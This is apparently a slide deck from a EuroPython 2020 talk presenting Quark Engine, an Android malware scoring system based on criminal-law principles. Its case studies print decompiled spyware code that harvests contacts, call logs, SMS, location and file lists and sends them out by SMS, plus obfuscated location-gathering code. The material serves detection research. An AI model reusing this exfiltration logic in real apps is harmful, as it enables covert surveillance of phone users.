Europython 2020

So, You Want to Build an Anti-Virus Engine?
KunYu Chen
Security Researcher,
Founder of Quark Engine

JunWei Song
Security Researcher
CoFounder of Quark Engine
Outline

#1: Introduction of Malware Scoring System
#2: Design Logic of the Dalvik Bytecode Loader
#3: Case Study of Malware Analysis using Quark
#4: Future Works
#1: 🌱

Introduction of Malware Scoring System
Intro. of Malware Scoring System

As we know, when developing a malware analysis engine.
It is important to have a scoring system.

However, those systems are either
Business secrets or too complicated

Therefore, we decided to create
A simple but solid one
And take that as a challenge
And since we wanted to design
\hspace*{0.3cm} A novel scoring system.

We stop reading and decoding
\hspace*{0.3cm} What other people do in the field of cyber security

Because we don’t want our ideas
\hspace*{0.3cm} To be subjected to existing systems
Intro. of Malware Scoring System

We started to find ideas

In fields other than cyber security

And luckily, we found one
Intro. of Malware Scoring System

The Best Practice We Found:

Criminal Law!!!!
Intro. of Malware Scoring System

Decoding the law
When sentence a penalty for a criminal.
The Judge weights the penalties based on the criminal law.

Principles behind the law
Based on the decoded principles
We developed a scoring system for Android malware!
Intro. of Malware Scoring System

Principle # 1 A malware crime consists of action and target

Decoded principle
Definition: A crime consists of action and target
E.g.: Steal Money, Kill People.

Quark principle
Definition:
Malware crime consists of action and target.
E.g.: Steal photos, Steal banking account passwords.
Intro. of Malware Scoring System

Principle # 2 Loss of fame > Loss of wealth

Decoded principle
Physical Body Injury (death)
Is more serious than
Psychological Injury (intimidate)
* Hard to recover = Felony

Quark principle
Loss of fame > Loss of wealth
Because it’s easier to make money back
than rebuild your reputation.
Intro. of Malware Scoring System

Principle # 3 Arithmetic Sequence

Decoded principle
When a murderer is sentenced 20 years in prison for the crime.
Robber (7 years)
Why 20 and 7 years?
No obvious principle can be decoded.

Quark principle
We use arithmetic sequence to weight the penalty of each crime.
Eg. \( y_1 = 10, \ y_2 = 20, \ y_3 = 30 \)
Intro. of Malware Scoring System

Principle # 4 The latter the stage, the more we’re sure that the crime is practiced. (The order Theory)

Decoded principle
Order theory of criminal
Explains the stages of committing a crime.

As mentioned in chapter 4 of Taiwan Criminal Law
Each crime consists of a sequence of behaviors. Those behaviors can be categorized (stages) in a specific order.
Principle # 4 The latter the stage, the more we’re sure that the crime is practiced. (The order Theory)

For Instance: Murder
Intro. of Malware Scoring System

Principle # 4 The latter the stage, the more we’re sure that the crime is practiced. (The order Theory)

Android Malware Crime Order Theory

Stage 1
Permission requested
android.permission.SEND_SMS
android.permission.ACCESS_CORSE_LOCATION
android.permission.ACCESS_FINE_LOCATION

Stage 2
Native API call
getCellLocation() sendTextMessage()

Stage 3
Certain combination of native API
getCellLocation() sendTextMessage()

Stage 4
Calling sequence of native API
tCellLocation() sendTextMessage()

Stage 5
APIs that handle the same register

The location data
Principle # 4 The latter the stage, the more we’re sure that the crime is practiced. (The order Theory)

Android Malware Crime Order Theory

Crime # 1
We have found native APIs called in a correct sequence and they’re handling the same register

Crime # 5
We have found certain combination of native APIs called
Intro. of Malware Scoring System

Principle # 5 The more evidence we caught, the more weight we give. (The order Theory)

Quark principle
Stage 2 is given more weight than stage 1.

\[ x_2 > x_1 \]
Intro. of Malware Scoring System

Principle # 6 Proportional Sequence (The order Theory)

Decoded principle
The latter the stage
the more we’re sure that the crime is practiced.

Quark principle
We use proportional sequence to present such principle.
Intro. of Malware Scoring System

Principle # 7 Crimes are independent events

Quark principle
For simplicity, we assume crimes are independent events. And can add up penalty weights directly.
Intro. of Malware Scoring System

Principle # 7 Crimes are independent events

Steal Photos

\[(\text{Penalty weight of crime}) \times (\text{Proportion of caught evidence})\]

\[5 \times (2^2/2^4) = 1.25\]

Steal Banking Account Password

\[1 \times (2^4/2^4) = 1\]

Total Penalty Weight

1.25 + 1 = 2.25
Intro. of Malware Scoring System

Principle # 8 Threshold Generate System

Decoded principle:
No obvious principles for threat level thresholds.

Quark principle:
To design a threshold generate system.
Not Just give any number by intuition.
Intro. of Malware Scoring System

Principle # 8 Threshold Generate System

Quark principle:
To design a threshold generate system.
Not just give any number by intuition.

5 threat levels:
Threshold for each level is the sum of
(Same proportion of caught evidence)
multipies
(Penalty weight of crimes)

Not Perfect:
Build a foundation for future optimization!
Design Logic of Dalvik Bytecode Loader
Design Logic of Dalvik Bytecode Loader (DBL)

DBL is the implementation of the Android malware crime order theory.

5 stages:

First 3 stages:
We simply use APIs inandroguard to implement the first 3 stages.
Design Logic of Dalvik Bytecode Loader (Stage4)

5 stages:

Stage 4:
We need to find the calling sequence of native APIs.
E.g. Crime: Send Location data via SMS

```
Landroid/telephony/TelephonyManager
getCallLocation

Landroid/telephony/SmsManager
sendTextMessage
```
Design Logic of Dalvik Bytecode Loader (Stage4)

Finding calling sequence of native APIs:

- Find mutual parent function

![Diagram showing calling sequence of native APIs:](image-url)
Design Logic of Dalvik Bytecode Loader (Stage4)
Smalli-like code of sendMessage():

Malware hash: 14d9f1a92dd984d6040cc41ed06e273e
Design Logic of Dalvik Bytecode Loader (Stage 4)

Obfuscation-Neglect: Magic!

```java
Lcom/ab/cd/ef;->a()

f()
k()

Landroid/telephony/SmsManager
sendTextMessage

Landroid/telephony/TelephonyManager
getCellLocation
```
Design Logic of Dalvik Bytecode Loader (Stage5)

Stage 5:
We need to confirm that if the native APIs are handling the same register.

\[
\text{location\_data} = \text{input} \\
\text{output} = \text{getCellLocation}
\]

\[
\text{sendTextMessage}
\]

Landroid/telephony/TelephonyManager
Landroid/telephony/SmsManager
Design Logic of Dalvik Bytecode Loader (Stage5)

Simulating CPU Operation:

Read line by line of the small-like code.

And operate like CPU to get

1. The value of every register

2. Information like functions who have operated the same register

```
14 new-instance v6, Lcom/google/process/Locator;
15 invoke-direct v6, v8, Lcom/google/process/Locate;-><init>(Landroid/content/Context;)V
16 invoke-virtual v6, Lcom/google/process/Locate;->getLocation(Ljava/lang/String;)
17 move-result-object v3
18 new-instance v6, Lcom/google/process/FileList;
19 invoke-direct v6, Lcom/google/process/FileList;-><init>()V
20 invoke-virtual v6, Lcom/google/process/FileList;->getName(Ljava/lang/String;)
21 move-result-object v2
22 if-eqz v1, +1a

sendMessage-BB@0x68 : [ sendMessage-BB@0x70 sendMessage-BB@0x98 ]

23 const-string v6, ""
24 if-eq v1, v6, +16

sendMessage-BB@0x70 : [ sendMessage-BB@0x98 ]

25 lget-object v6, v9, Lcom/google/process/AndroidClientService;->phoneNo Ljava/lang/String;
26 new-instance v7, Ljava/lang/StringBuilder;
27 const-string v8, "微信好友联系人："
28 invoke-direct v7, v8, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
29 invoke-virtual v7, v3, Ljava/lang/StringBuilder;->append(Ljava/lang/String;Ljava/lang/StringBuilder;)
30 move-result-object v7
31 invoke-virtual v7, Ljava/lang/StringBuilder;->toString(Ljava/lang/String;)
32 move-result-object v7
33 invoke-virtual v4, v6, v7, Lcom/google/process/SMHelper;->sendSms(Ljava/lang/String;Ljava/lang/String;)V
```
Design Logic of Dalvik Bytecode Loader (Stage5)

Register Object

It’s a self-defined data type.

<table>
<thead>
<tr>
<th>Register Name</th>
<th>v7</th>
</tr>
</thead>
<tbody>
<tr>
<td>Register Value</td>
<td>v7 = append(str1, FUNC1())</td>
</tr>
<tr>
<td>Used_by_which_function</td>
<td>FUNC2(v7)</td>
</tr>
</tbody>
</table>
Design Logic of Dalvik Bytecode Loader (Stage5)

Expand Every Register

Every time when the value of `Used_by_which_function` is filled.

We produce lots of register objects.

```
sendSms(
  append(v8, v3)
)

sendSms(v7)
```

```
api2
api1

append("User location", getLocation())

sendSms(  
  append("User location:", getLocation())
)
```
Design Logic of Dalvik Bytecode Loader (Stage5)

Register Objects are organized with

Two-Dimensional Python List

Similar idea like the hash table to boost up r/w of the list.

```
v1 RegisterObject
v2
v3
v4 RegisterObject RegisterObject RegisterObject
v5
v6 RegisterObject RegisterObject
```

```
[ [RO1], 
  [],
  [],
  [RO2,RO3,RO4],
  [],
  [RO5,RO6]
]```
Design Logic of Dalvik Bytecode Loader (Stage5)

Finish constructing the hash table

We then scan through all register objects to check if APIs are handling the same register.
Case Study of Malware analysis using Quark Engine
Case Study of Malware Analysis

Two malware

Non-Obfuscated: 14d9f1a92dd984d6040cc41ed06e273e
Obfuscated: 76db25ce55dc2738a387cbbb947f32f0

For each malware

Show how we detect the behavior of the malware with detection rule
Case Study of Malware Analysis

Malware #1

Non-Obfuscated: 14d9f1a92dd984d6040cc41ed06e273e

Detection Rule:

Detect whether if the malware sends out cellphone’s location data via SMS.
Case Study of Malware Analysis

An Obfuscation-Neglect Android Malware Scoring System

Confidence: 100%

1. Permission Request
   - android.permission.SEND_SMS
   - android.permission.ACCESS_COARSE_LOCATION
   - android.permission.ACCESS_FINE_LOCATION

2. Native API Usage
   - (Android/telephony/TelephonyManager,getCellLocation)
   - (Android/telephony/SmsManager, sendTextMessage)

3. Native API Combination
   - (Android/telephony/TelephonyManager,getCellLocation)
   - (Android/telephony/SmsManager, sendTextMessage)

4. Native API Sequence
   - Sequence show up in:
     - (Lcom/google/progress/AndroidClientService, sendMessege)
     - (Lcom/google/progress/AndroidClientService, doByte)

5. Native API Use Same Parameter
   - (Lcom/google/progress/AndroidClientService, sendMessege)
public void sendMessage() {
  SMHHelper helper = new SMHHelper(this);
  String con = new ContactsCollector(this).getContactList();
  String cal = new GetCallLog(this).getInfo();
  String sms = new SMHHelper(this).getInfo();
  String gps = new Locate(this).getLocation();
  String file = new FileList().getInfo();
  if (!(con == null || con == "")) {
    helper.sendSms(this.phoneNumber, "被监控手机联系人:" + con);
  }
  if (!(cal == null || cal == "")) {
    helper.sendSms(this.phoneNumber, "被监控手机通话记录:" + cal);
  }
  if (!(sms == null || sms == "")) {
    helper.sendSms(this.phoneNumber, "被监控手机短信消息:" + sms);
  }
  if (!(gps == null || gps == "")) {
    helper.sendSms(this.phoneNumber, "被监控手机GPS位置:" + new Locate(this).getLocation());
  }
  if (file != null && file != "") {
    helper.sendSms(this.phoneNumber, "被监控手机文件列表:" + file);
  }
}
Get Cell Location

Return location info

Source Code - getLocation

```java
public String getLocation() {
    StringBuffer sbLocation = new StringBuffer();
    try {
        GsmCellLocation gsm = (GsmCellLocation) this.telManager.getCellLocation();
        int cid = this.gsm.getCid();
        int lac = this.gsm.getLac();
        ...

        data.put("cell_id", cid);
        data.put("location_area_code", lac);

        array.put(data);
        holder.put("cell_towers", array);
        DefaultHttpClient client = new DefaultHttpClient();
        HttpPost httpPost = new HttpPost("http://www.google.com/loc/json");
        httpPost.setEntity(new StringEntity(holder.toString()));
        HttpResponse resp = client.execute(httpPost);
        System.out.println("GPS获取经纬度得到响应");
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(resp.getEntity().getInputstream()));
        StringBuffer sb = new StringBuffer();
        for (String result = bufferedReader.readLine(); result != null; result = bufferedReader.readLine()) {
            sb.append(result);
        }
        JSONObject jsonObject = new JSONObject(new JSONArray(sb.toString()).getString("location"));
        String latitude = jsonObject.getString("latitude");
        String longitude = jsonObject.getString("longitude");
        sbLocation.append("纬度: " + latitude);
        sbLocation.append(" 经度: " + longitude);
        sbLocation.append(" 位置：" + "(基站)打开地图查看");
        return sbLocation.toString();
    } catch (Exception e) {
        ... 
    }
}
```
public int sendSms(String phoneNumber, String smsMessage) {
    SmsManager.getDefault().sendTextMessage(
        phoneNumber,
        (String) null,
        smsMessage,
        PendingIntent.getActivity(this.context, 0, new Intent(), 0), (PendingIntent) null);

    return 1;
}
Case Study of Malware Analysis

Malware #2

Obfuscated: 76db25ce55dc2738a387cbbb947f32f0

Detection Rule:

Detect whether if the malware
Detect WiFi Hotspot by gathering information
Like active network info and cell phone location.
Case Study of Malware Analysis

Quark
v20.04
An Obfuscation-Neglect Android Malware Scoring System

Confidence: 100%

1. Permission Request
   android.permission.ACCESS_FINE_LOCATION
   android.permission.ACCESS_NETWORK_STATE

2. Native API Usage
   (android/net/ConnectivityManager, getActiveNetworkInfo)
   (android/telephony/TelephonyManager, getImageLocation)

3. Native API Combination
   (android/net/ConnectivityManager, getActiveNetworkInfo)
   (android/telephony/TelephonyManager, getImageLocation)

4. Native API Sequence
   Sequence show up in:
   (lnet/youmu/android/p, a)
   (lcom/adbroid/android/ads/AdView, c)
   (lnet/youmu/android/a?, run)

5. Native API Use Same Parameter
   (lnet/youmu/android/p, a)
   (lcom/adbroid/android/ads/AdView, c)
   (lnet/youmu/android/a?, run)

DONE: OK
bash-3.2$
Source Code - p.a

```java
static String a(Activity activity, cl clVar, long j) {
    try {
        if (!e.b(activity)) {
            return null;
        }
    }
    ...

    am.a(ap.a(activity), byteArrayOutputStream);
    ...

    am.a(f.f(activity), byteArrayOutputStream);

    try {
        sb.append(k.a(byteArrayOutputStream.toByteArray(),
                     k.b(String.valueOf("DRWjzp4vScwqyrb") + e.c(activity) + a)));
        } catch (Exception e5) {
        }
    return sb.toString();
    } catch (Exception e6) {
        return null;
    }
}
```
static String a(Context context) {
    NetworkInfo activeNetworkInfo;
    try {
        if (av.a(context, "android.permission.ACCESS_NETWORK_STATE") &&
            (activeNetworkInfo = ((ConnectivityManager)
            context.getSystemService("connectivity"))).getActiveNetworkInfo()) != null &&
            activeNetworkInfo.isAvailable()) {
            if (activeNetworkInfo.getType() != 0) {
                return "wifi";
            }
            String extraInfo = activeNetworkInfo.getExtraInfo();
            if (extraInfo == null) {
                return ""
            }
            String lowerCase = extraInfo.trim().toLowerCase();
            return lowerCase.length() > 10 ? lowerCase.substring(0, 10) : lowerCase;
        }
    } catch (Exception e) {
    }
    return "";
}
```java
static String a(Activity activity, cl clVar, long j) {
    try {
        if (!e.b(activity)) {
            return null;
        }
        ...
        am.a(ap.a(activity), byteArrayOutputStream);
        ...
        am.a(f.f(activity), byteArrayOutputStream);
        ...
        try {
            sb.append(k.a(byteArrayOutputStream.toByteArray(),
                k.b(String.valueOf("DRWzp4vScwqyrb") + e.c(activity) + a)));
        } catch (Exception e5) {
        }
        return sb.toString();
    } catch (Exception e6) {
        return null;
    }
}
```
static synchronized String f(Context context) {
    String str;
    String str2;
    String str3;
    synchronized (f.class) {
        if (f != null && f.length() > 0) {
            str = f;
        } else if (av.checkSelfPermission(context, "android.permission.ACCESS_COARSE_LOCATION") ||
                   av.checkSelfPermission(context, "android.permission.ACCESS_FINE_LOCATION")) {

            TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
            if (telephonyManager != null) {
                try {
                    ...
                    int phoneType = telephonyManager.getPhoneType();
                    if (phoneType == 1) {
                        if (a < 0 || b < 0) {
                            GsmCellLocation gsmCellLocation = (GsmCellLocation) telephonyManager.getCellLocation();
                            if (gsmCellLocation != null) {
                                a = gsmCellLocation.getGid();
                                b = gsmCellLocation.getLac();
                            }
                        } else if (a >= 0 && b >= 0) {
                            str = "0" + str2 + "|" + str3 + "|" + a + "|" + b;
                            f = str;
                        }
                    }
                    ...
                } catch (Exception e) {
                }
            } else {
                str = "";
            }
        }
    }
    return str;
}
static String a(Activity activity, cl clVar, long j) {
    try {
        if (!e.b(activity)) {
            return null;
        }
        ...
        am.a(ab.a(activity), byteArrayOutputStream);
        ...
        am.a(f.f(activity), byteArrayOutputStream);
        ...
        try {
            sb.append(k.a(byteArrayOutputStream.toByteArray(),
            k.b(String.valueOf("DRWjzp4vScwqwyrb") + e.c(activity) + a));
        } catch (Exception e5) {
        }
        return sb.toString();
    } catch (Exception e6) {
        return null;
    }
}
```java
static String a(Activity activity, cl clVar, long j) {
    try {
        if (!e.b(activity)) {
            return null;
        }
        ...
        am.a(ap.a(activity), byteArrayOutputStream);
        ...
        am.a(ff(activity), byteArrayOutputStream);
        ...
        try {
            sb.append(k.a(byteArrayOutputStream.toByteArray(),
                k.b(String.valueOf("DRWjzp4vScwqyrb") + e.c(activity) + a)));
        } catch (Exception e5) {
        }
        return sb.toString();
    } catch (Exception e6) {
        return null;
    }
}
```
#4:

Future Works
Future Works

1. More rules.
2. .so files analysis
3. Packed apks.
4. More features on Dalvik bytecode loader
   Downloader
5. Apply the scoring system to other binary formats
6. Change of core library
   Androguard is inactive.
THANK YOU